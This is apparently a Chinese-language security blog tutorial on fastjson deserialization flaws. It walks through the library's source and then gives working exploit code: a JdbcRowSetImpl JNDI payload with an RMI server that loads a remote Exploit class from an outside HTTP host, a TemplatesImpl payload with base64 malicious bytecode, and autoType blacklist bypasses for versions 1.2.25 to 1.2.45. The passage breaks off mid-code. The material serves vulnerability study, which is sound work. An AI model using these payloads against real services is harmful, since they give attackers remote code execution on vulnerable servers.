Loading

fastjson(一)反序列化

fastjson 反序列化

简单了解

fastjson 的 maven 坐标

	<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.4</version>
    </dependency>

fastjson 是阿里巴巴的开源 JSON 解析库,可以把 json 字符串解析为 java Bean 对象,同样也可以把 java Bean 对象解析为 json 字符串。

javaBean 对象

那么什么是 javaBean 对象呢?

JavaBean 是一种符合特定规范的 Java 类,通俗点的解释就是:

  1. 属性是私有的,且每个属性都应该具有对应的 setter 和 getter 方法
  2. JavaBean 必须有一个无参数的公共构造方法。 如果你要自定义有参构造方法,那必须显示声明无参构造方法

一个 javaBean 的示例

package com.lingx5.entry;

import java.io.Serializable;

public class Person implements Serializable {
    private static final long serialVersionUID = 1L;

    private String name;
    private int age;

    // 无参构造方法
    public Person() {
    }

    // 带参数的构造方法(可选)
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter方法
    public String getName() {
        return name;
    }

    // Setter方法
    public void setName(String name) {
        this.name = name;
    }

    // Getter方法
    public int getAge() {
        return age;
    }

    // Setter方法
    public void setAge(int age) {
        this.age = age;
    }
}

toJSONString()

com.alibaba.fastjson.JSON#toJSONString(java.lang.Object)方法就是把 javaBean 转换为 json 字符串,这个过程它会去调用 javaBean 对象的所有 getter()方法,来获取属性的值。

package com.lingx5;

import com.alibaba.fastjson.JSON;
import com.lingx5.entry.Person;

public class jsonTest {
    public static void main(String[] args) {
        Person person = new Person("lingx5", 18);
        String json = JSON.toJSONString(person);
        System.out.println(json);           // {"age":18,"name":"lingx5"}
    }
}

结果肯定是显而易见的

image-20250320163435555

当然,我们在 javaBean 对应个 getter()方法中加入输出,再来看看结果

image-20250320163936056

我们再次运行 jsonTest

image-20250320164042090

在默认情况下,Fastjson 将 JavaBean 对象序列化为 JSON 字符串时,主要依赖于反射机制,并通过 内省 (Introspection) 机制 查找并调用 JavaBean 对象的 getter 方法 来获取属性值。

parse()

com.alibaba.fastjson.JSON#parse(java.lang.String)这个方法可以把 JSON 字符串转换为 java 对象,不过 默认情况下会转换为 com.alibaba.fastjson.JSONObject 对象,不会是我们的 javaBean 对象

package com.lingx5;

import com.alibaba.fastjson.JSON;

public class jsonTest {
    public static void main(String[] args) {
        String personJson = "{\"name\":\"lingx5\",\"age\":18}";
        Object parse = JSON.parse(personJson);
        System.out.println(parse);
        System.out.println("parse的类型是:"+parse.getClass().getTypeName());
    }
}
image-20250320170302517

我们没有转换为 javaBean 对象,那自然也不会调用 javaBean 的 getter()和 setter()方法

那怎么转化为 javaBean 对象呢?

@type

在 fastjson1.2.4 中,默认是开启 autoType 属性的。即在 parse()方法执行时,识别到字段 @type 会根据字段的值,利用 javaBean 的无参构造器和 setter()去封装对应的 javaBean 对象。也正是因为这一特性,为 fastjson 反序列化漏洞打开了大门。

package com.lingx5;

import com.alibaba.fastjson.JSON;

public class jsonTest {
    public static void main(String[] args) {
        String personJson = "{\"@type\":\"com.lingx5.entry.Person\",\"name\":\"lingx5\",\"age\":18}";
        Object parse = JSON.parse(personJson);
        System.out.println(parse);
        System.out.println("parse的类型是:"+parse.getClass().getTypeName());
    }
}
image-20250320175156909

我们看到在处理@type 字段时,parse()方法会去调用我们指定的类的 setter()方法,封装一个 javaBean 对象出来

parseObject()

其实除了@type 字段可以让 json 字符串转化为我们想要的 javaBean 对象,还可以使用 com.alibaba.fastjson.JSON#parseObject(java.lang.String, java.lang.Class )在第二个参数指定 class,从而实现转换

package com.lingx5;

import com.alibaba.fastjson.JSON;

public class jsonTest {
    public static void main(String[] args) {
        String personJson = "{\"name\":\"lingx5\",\"age\":18}";
        Object parse = JSON.parseObject(personJson, com.lingx5.entry.Person.class);
        System.out.println(parse);
        System.out.println("parse的类型是:"+parse.getClass().getTypeName());
    }
}
image-20250320180238172

可以看到,我们仍然可以得到 javaBean 对象

而 fastjson 同样提供了单参数的 parseObject()方法 com.alibaba.fastjson.JSON#parseObject(java.lang.String),他其实就是对 com.alibaba.fastjson.JSON#parse(java.lang.String)方法做了一层封装,返回结果做了强转为 JSONObject 对象。

image-20250320200041731

这样其实导致 com.alibaba.fastjson.JSON#parseObject(java.lang.String)在处理@type 注解时,既会调用 setter()方法,也会在 JSON.toJSON(obj)时调用 getter()方法。

值得注意的是

假设一个类 Person 有一个字段 name,但没有 setName() 方法,只有 getName() 方法。 Fastjson 仍然可能将 JSON 中的 "name" 键识别为一个属性,即使它无法通过 Setter 方法设置值 (在这种情况下,如果 name 字段是 public 的且非 final,Fastjson 可能会尝试直接字段赋值,但这通常不是首选方式)。

就像我们把 setName(String name)方法注释起来,而 name 字段为 private 时,运行下面这段代码

package com.lingx5;

import com.alibaba.fastjson.JSON;
import com.lingx5.entry.Person;

public class jsonTest {
    public static void main(String[] args) {
        String personJson = "{\"name\":\"lingx5\",\"age\":18}";
        Object parse = JSON.parseObject(personJson, com.lingx5.entry.Person.class);
        System.out.println(parse);
        System.out.println("parse的类型是:"+parse.getClass().getTypeName());
        Person person = (Person) parse;
        System.out.println((person.getName() + ":" + person.getAge()));
    }
}

输出

image-20250321085019318

看到 name 的值为 null,而当我们把 name 改为 public 时,可以看到即使没有 setter 方法,name 仍然是可以有值的。

image-20250321084928094

fastjson 源码分析

我们在 Object parse = JSON.parse(personJson); 出打断点,跟如

image-20250321092248672

parseObject

调试我们会来到 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法,先检测@type 标签,然后根据值进行类加载

image-20250321092721528

TypeUtils 类加载

parseObject 检测并获取获取@type 后,会调用 com.alibaba.fastjson.util.TypeUtils#loadClass 方法进行类加载

image-20250321092953278

而 com.alibaba.fastjson.util.TypeUtils#loadClass 方法,会去检测类型,做对应的类加载。数组 [ 开头和引用 L 开头,; 结尾

image-20250321093404006

这其实时 fastjson 为了后续调用 asm 去加载属性值,做的处理。只是没有想到会被我们利用拿来绕过

当然,我们的字段现在只是普通的类名,不会走这里,我们只是进行类加载,拿到 com.lingx5.entry.Person 类,并放入 com.alibaba.fastjson.util.TypeUtils#mappings 属性中,然后把 class 返回

image-20250321094123481

getDeserializer

获取 Java Bean 的反序列化器 (Deserializer)

image-20250321094819605

com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type) 里面经过一系列的判断后,我们会来到 com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer 方法去创建 Java Bean 反序列化器

image-20250321095216360

继续跟进,会调用到 com.alibaba.fastjson.util.DeserializeBeanInfo#computeSetters 封装 BeanInfo 对象

image-20250321095441035

我们跟进它,会发现他会通过反射获取我们 class com.lingx5.entry.Person 的无参构造方法和 setter 方法,当然要符合规范,我们进去看看有哪些规则

开始就是获取无参构造器,把构造方法赋值到 com.alibaba.fastjson.util.DeserializeBeanInfo#defaultConstructor 属性中

image-20250321102403614

截取一下判断方法的关键语句(注释标明作用)

// 反射获取所有方法名,遍历
for (Method method : clazz.getMethods()) {
            int ordinal = 0, serialzeFeatures = 0;
            String methodName = method.getName();
    		// 方法名长度必须 >= 4
            if (methodName.length() < 4) {
                continue;
            }
			// 非静态方法
            if (Modifier.isStatic(method.getModifiers())) {
                continue;
            }

            // support builder set
    		// 方法返回类型是 void 或者 当前类 clazz 本身
            if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(clazz))) {
                continue;
            }
			// 方法参数只能有一个
            if (method.getParameterTypes().length != 1) {
                continue;
            }
			// 检测@JSONFiled注解
            JSONField annotation = method.getAnnotation(JSONField.class);

            if (annotation == null) {
                annotation = TypeUtils.getSupperMethodAnnotation(clazz, method);
            }

            if (annotation != null) {
                if (!annotation.deserialize()) {
                    continue;
                }

                ordinal = annotation.ordinal();
                serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());

                if (annotation.name().length() != 0) {
                    String propertyName = annotation.name();
                    beanInfo.add(new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures));
                    TypeUtils.setAccessible(method);
                    continue;
                }
            }
			// 方法以 "set" 开头
            if (!methodName.startsWith("set")) {
                continue;
            }

            char c3 = methodName.charAt(3);
			
    		// 检测是否符合javaBean规范,并拆解属性名称
            String propertyName;
            if (Character.isUpperCase(c3)) {
                if (TypeUtils.compatibleWithJavaBean) {
                    propertyName = TypeUtils.decapitalize(methodName.substring(3));
                } else {
                    propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
                }
            // 忽略 '_'字符
            } else if (c3 == '_') {
                propertyName = methodName.substring(4);
            } else if (c3 == 'f') {
                propertyName = methodName.substring(3);
            } else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
                propertyName = TypeUtils.decapitalize(methodName.substring(3));
            } else {
                continue;
            }
			// 对boolean类型字段的判断
            Field field = TypeUtils.getField(clazz, propertyName);
            if (field == null && method.getParameterTypes()[0] == boolean.class) {
                String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
                field = TypeUtils.getField(clazz, isFieldName);
            }

            if (field != null) {
                JSONField fieldAnnotation = field.getAnnotation(JSONField.class);

                if (fieldAnnotation != null) {
                    ordinal = fieldAnnotation.ordinal();
                    serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());

                    if (fieldAnnotation.name().length() != 0) {
                        propertyName = fieldAnnotation.name();
                        beanInfo.add(new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures));
                        continue;
                    }
                }

            }
			// 封装成Filedinfo中,并添加到beanInfo
            beanInfo.add(new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures));
            TypeUtils.setAccessible(method);
        }

特性

通过上边的判断,我们可以总结出 setter 方法的一些特性

  • 方法名长度必须 >= 4
  • 非静态方法
  • 方法返回类型是 void 或者 当前类 clazz 本身
  • 方法参数只能有一个
  • 方法以 "set" 开头

除此之外 fastjson 还有其他特性:

  • 匹配 getter()和 setter()方法时,com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _ - 字符串
  • 在序列化和反序列化 byte [] 数组时,会做 base64 的编码和解码

最后把 beanInfo 返回

image-20250321102644195

com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer 做了一系列判断后,利用 asmFactory 创建 JavaBeanDeserializer

image-20250321102938817

利用 asm 创建了一个 Java Bean 的反序列化器

image-20250321103241974

最后利用 classLoader 把它加载到内存,并创建实例返回

image-20250321103508510

deserialze

image-20250321104247886

调用 asm 创建的 Java Bean 的反序列化器,通过反射机制,创建 Person 实例。我们在 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer 类中打断点

先调用无参构造方法,这是在创建 JavaBeanDeserializer 时调用的

image-20250321104233480

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object) 通过 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField 调用 com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, int),给属性赋值

image-20250321130815412

利用 setter 方法给属性赋值

image-20250321131112544

image-20250321131227607

fastjson 反序列

1.2.24

经过前面的学习,我们已经理解了 fastjson 是如何运作的。对于 fastjson 反序列化攻击,比较流行的就是 TemplatesImpl 反序列化和 JdbcRowSetImpl 反序列化

JdbcRowSetImpl

我们先来看 JdbcRowSetImpl

我们要利用 fastjson 构成攻击,肯定是利用 fastjson 做解析式自动调用 setter()方法的特性,我们来看 com.sun.rowset.JdbcRowSetImpl#setAutoCommit 方法

public void setAutoCommit(boolean autoCommit) throws SQLException {
    // The connection object should be there
    // in order to commit the connection handle on or off.

    if(conn != null) {
        conn.setAutoCommit(autoCommit);
    } else {
        // Coming here means the connection object is null.
        // So generate a connection handle internally, since
        // a JdbcRowSet is always connected to a db, it is fine
        // to get a handle to the connection.

        // Get hold of a connection handle
        // and change the autcommit as passesd.
        conn = connect();

        // After setting the below the conn.getAutoCommit()
        // should return the same value.
        conn.setAutoCommit(autoCommit);

    }
}

看到当 conn 为 null 时,会去调用 connect()方法,我们进入看一下这个 connect()方法

image-20250321140554584

这不就像极了我们 JNDI 注入的方式,接下来只需要 getDataSourceName()满足可空,就可以利用了

image-20250321141902833

看到 dataSource 有对应的 setter()方法,我们所有在对应 JDK 版本的 JNDI 注入漏洞都能打了

我这里用的 jdk7,还没有对 JNDI 注入做防御

JdbcRowSetImplEXP

package com.lingx5.exp;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplEXP {
    public static void main(String[] args) {
        String payload ="{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSource\":\"rmi://localhost:1099/Exploit\"," +
                // 调用 setAutoCommit 方法,触发攻击链
                "\"autoCommit\":true" +
                "}";
        // 模拟受害的fastjson服务器
        JSON.parse(payload);
    }
}

RMIServer

package com.lingx5;


import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 创建JNDI引用
            Reference ref = new Reference("Exploit", "Exploit", "http://lingx5.dns.army:8000/");
            // 封装Reference对象
            ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("Exploit",refWrapper);
            System.out.println("RMI registry started at 1099.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Exploit

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

还是一样,这个文件头是不能有 package 字段的,否则 JNDI 服务器加载不了这个类,也就无法复现成功

编译成 Class 的 jdk 版本要与运行版本一致,还有解释自己本例的 Exploit 的要删掉。因为 JNDI 会先去加载自己本地的类,本地没有才会去加载远程服务器的类

开启远程的 http 服务

image-20250321145158177

执行

image-20250321145102242

TemplatesImpl

这个类产生漏洞原因就是它拥有类加载的能力,并且调用了 newInstants()将定义的类实例化了。这会执行恶意类的 static 静态代码块

我们在结构的属性中可以看到这个类有 getter 和 setter 方法的属性

image-20250321160154032

这里我们来到 getOutputProperties()方法,他会去调用 newTransformer()

image-20250321160313509

而 newTransformer()会调用 getTransletInstance()方法

image-20250321160418189

getTransletInstance()里有定义类的方法 defineTransletClasses()和实例化的方法 newInstance()

image-20250321160742898

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses 的关键代码有:

image-20250321191416487

看到 _class[i] 其实就是 _bytecodes[i] 定义的类,我们可以给 _bytecodes[i] 传递恶意类的字节码,

基本的链条就有了

getOutputProperties
    newTransformer
    	getTransletInstance
    		defineTransletClasses
    			evil.class.newInstance

当让为了让链条成立,我们还需要躲避一些 if 判断,使得 _name_factory 不为空

构造 payload

TemplatesImplEXP

package com.lingx5.exp;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class TemplatesImplEXP {
    public static void main(String[] args) {
        String payload = "{" +
                "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_bytecodes\":[\"yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClW" +
                "AQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBh" +
                "Y2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50" +
                "ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACAB" +
                "AKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4v" +
                "b3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcv" +
                "YXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAI" +
                "PGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACWV2aWwuamF2YQwACQAK" +
                "BwAhDAAiACMBAARjYWxjDAAkACUBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAmAAoBAARldmlsAQBA" +
                "Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RU" +
                "cmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl" +
                "dEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFu" +
                "Zy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2Vz" +
                "czsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAAHQABAAEAAAAFKrcA" +
                "AbEAAAABAAwAAAAGAAEAAAAHAAEADQAOAAIACwAAABkAAAADAAAAAbEAAAABAAwAAAAGAAEAAAAT" +
                "AA8AAAAEAAEAEAABAA0AEQACAAsAAAAZAAAABAAAAAGxAAAAAQAMAAAABgABAAAAGAAPAAAABAAB" +
                "ABAACAASAAoAAQALAAAATwACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQACAAwA" +
                "AAAWAAUAAAAKAAkADQAMAAsADQAMABEADgATAAAABwACTAcAFAQAAQAVAAAAAgAW\"] ," +
                "\"_name\":\"lingx5\"," +
                "\"_tfactory\":{ }," +
                "\"_outputProperties\":{ }" +
                "}";
        JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}

注意:这里要注意 json 字符串的字段顺序,_outputProperties 一定要放在最后面。因为 fastjson 往往会按照 JSON 字符串中属性出现的顺序,依次调用对应的 setter 方法进行赋值。

你是否有疑惑:为什么要用 {} 呢?

这是因为:当 Fastjson 遇到 JSON 对象 {} 时,它会尝试将其反序列化为 Java 对象。 默认情况下,如果目标字段的类型是接口 (如 TransformerFactory, Map) 或抽象类,Fastjson 可能会选择反序列化为一个默认的实现类。

成功执行

image-20250321192757502

我使用的恶意类

evil

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
    static {
        try{
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注意编译版本和运行 fastjson 的 java 版本,大版本要相同。否则无法 defineClass()

Class2Bytes

工具类

package com.lingx5.exp;

import com.sun.org.apache.xml.internal.security.utils.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;

public class Class2Bytes {
    public  byte[] class2bytes(File classFile) {
        try {FileInputStream fis = new FileInputStream(classFile);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            int bytesRead = 0;
            byte[] bytes = new byte[4096];
            while ((bytesRead = fis.read(bytes, 0, 4096)) != -1) {
                baos.write(bytes, 0, bytesRead);
            }
            byte[] classBytes = baos.toByteArray();
            return classBytes;
        } catch (Exception e) {
            System.out.println("转换出错: " + e.getMessage());
            e.printStackTrace();
        }
        return null;
    }

    public static void main(String[] args) {
        Class2Bytes c2b = new Class2Bytes();
        byte[] bytes = c2b.class2bytes(new File("src/main/java/com/lingx5/exp/evil.class"));
        String evilB64 = Base64.encode(bytes);
        System.out.println(evilB64);
    }
}

1.2.25-1.2.41

Fastjson 1.2.25 官方引入了 checkAutoType(),默认情况下禁用了 autotype 功能。而打开 autotype 之后,引入了一系列黑名单来实现防御,但是黑名单的防御机制肯定是有缺陷的,所以 fastjson 也提供了添加黑名单的接口,让用户可以自己添加。

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 检测到 @type,会先去执行 com.alibaba.fastjson.parser.ParserConfig#checkAutoType

image-20250321201529837

让我们看看他是如何检测的,首先是在 autoType 为 true 时,也就是支持@type 注解

image-20250321211311630

而它里面有黑名单和用户自定义的白名单

image-20250321202218735

加入的黑名单

0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
18 = "org.jboss"
19 = "org.mozilla.javascript"
20 = "org.python.core"
21 = "org.springframework"

当然,我们主要来绕过支持 autoType 时,白名单为空,我们的恶意类肯定是不在白名单中的。而我们要绕过黑名单,就会来到判断完之后的 com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

image-20250321211937113

进去之后,就有我们之前说的 [L; 的判断和截取

image-20250321212115561

所以可以使用 L; 来进行绕过

bypass25

package com.lingx5.exp;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass25 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
                "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
                "\"autoCommit\":true" +
                "}";
        // 模拟受害的fastjson服务器
        JSON.parse(payload);
    }
}

成功执行

image-20250321213135171

1.2.42

作者把黑名单做了 hash 处理,目的就是为了让安全研究者不能看到具体的黑名单类名

image-20250322090734643

同时在 checkAutoType 过滤 L; 时, 也把字符做了 hash 处理,并用异或进行处理

image-20250322093727745

其实我们可以写一个 test 来测试一下这段代码

hashTest

package com.lingx5;

public class hashTest {
    public static void main(String[] args) {
        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;
        String className = "Lcom.example.Poc;";

        // 计算哈希值
        long calculatedHash = (((BASIC
                ^ className.charAt(0)) // 步骤 1: BASIC 异或 第一个字符 'L'
                * PRIME)              // 步骤 2: 步骤 1 的结果 乘以 PRIME
                ^ className.charAt(className.length() - 1)) // 步骤 3: 步骤 2 的结果 异或 最后一个字符 ';'
                * PRIME;              // 步骤 4: 步骤 3 的结果 乘以 PRIME

        long expectedHash = 0x9198507b5af98f0L; // 目标哈希值

        if (calculatedHash == expectedHash) { // 比较计算出的哈希值和目标哈希值
            className = className.substring(1, className.length() - 1); // 如果相等,则移除首尾字符
        }

        System.out.println("Calculated Hash: 0x" + Long.toHexString(calculatedHash));
        System.out.println("Expected Hash:   0x" + Long.toHexString(expectedHash));
        System.out.println("className after if: " + className);
    }
}

我们看输出结果

image-20250322093955373

可以看到在 checkAutoType 中 hash 计算的代码就是去除了首位的 L;,然后再去判断白名单和黑名单

不过作者忽略了一点,在 com.alibaba.fastjson.util.TypeUtils#loadClass 方法中是递归处理 L;

image-20250322094320015

所以基本上我们双写就能绕过了

bypass25

package com.lingx5.exp;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass25 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
                "\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
                "\"autoCommit\":true" +
                "}";
        // 模拟受害的fastjson服务器
        JSON.parse(payload);
    }
}

image-20250322094711797

1.2.43

在 fastjson-1.2.43 中,作者对双写绕过进行了修复。在 checkAutoType 判断中加入了遇到 LL 开头的类,就抛出异常

long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
 // 判断 L开头 ;结尾
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    // 判断 LL开头
    if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    className = className.substring(1, className.length() - 1);
}

我们自然会想到 com.alibaba.fastjson.util.TypeUtils#loadClass 对 [ 符号的处理,你能从这里绕过吗?

答案肯定是可以的

我们尝试加一个 [ 调试

package com.lingx5.exp;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass43 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
                "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
                "\"autoCommit\":true" +
                "}";
        // 模拟受害的fastjson服务器
        JSON.parse(payload);
    }
}

image-20250322143816594

他在 parseArray 的时候报错了,期盼一个 [ 符号

exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

我们肯定希望绕过报错信息,在 42 , 的位置插入 [ 符号

package com.lingx5.exp;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass43 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
                "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
                "\"autoCommit\":true" +
                "}";
        // 模拟受害的fastjson服务器
        JSON.parse(payload);
    }
}

继续调试,可以看到这次我们就绕过了上面的报错语句

image-20250322144422142

继续跟一下,看到在 smartMatch 中返回了 { 的 token 值

image-20250322144702139

这里我们已经开始 deserialze 了,马上就要成功执行了。

image-20250322145515287

还是抛出异常了

image-20250322145709712

我们继续绕过一下这个异常

syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

[ 符号后面放置一个 {

来到了最终的 payload

package com.lingx5.exp;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass43 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
                "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
                "\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", " +
                "\"autoCommit\":true" +
                "}";
        // 模拟受害的fastjson服务器
        JSON.parse(payload);
    }
}

image-20250322150001114

这其实是 fastjson 作者为了兼容性,没有做好数组类型的匹配而导致的

1.2.44

修复了 [ 的绕过,在 checkAutoType 中进行判断,以 [ 开头会抛出异常

image-20250322154953248

autoType is not support. [com.sun.rowset.JdbcRowSetImpl

1.2.45

默认扩展了黑名单,但可以搭配 mybatis 组件来产生利用

我这里用的 jdk7,对应兼容的 mybatis 版本 3.2.8

<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.2.8</version>
</dependency>

来到 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 这个类

image-20250322155842534

我们看 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory#setProperties 这个方法

public void setProperties(Properties properties) {
    try {
        // 初始化JNDI上下文
      InitialContext initCtx;
      Properties env = getEnvProperties(properties);
      if (env == null) {
        initCtx = new InitialContext();
      } else {
        initCtx = new InitialContext(env);
      }
		// 用JNDI连接datasource
      if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) {
        Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
        dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
      } else if (properties.containsKey(DATA_SOURCE)) {
        dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
      }

    } catch (NamingException e) {
      throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
    }
  }

看着这个方法就不是很安全的样子,我们看看 properties.getProperty(DATA_SOURCE) 可控吗?

image-20250322162340340

DATA_SOURCE 其实就是字符串 data_source

set 传的参数 Properties,我们看一下

image-20250322161643381

继承了 Hashtable,而他的 getProperty 方法,找的父类获得 key,或者 调用 defaults 的 getProperty

image-20250322161812364

也就是,我们需要传递一个 Hashtable 对象,属性我们是可控的,键为 data_source 值为恶意的 rmi 地址

bypass45

package com.lingx5.exp;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass45 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{" +
                "\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
                // 调用setProperties方法,并传入键值对
                "\"properties\": {\"data_source\":\"rmi://127.0.0.1:1099/Exploit\"}" +
                "}";
        // 模拟受害的fastjson服务器
        JSON.parse(payload);

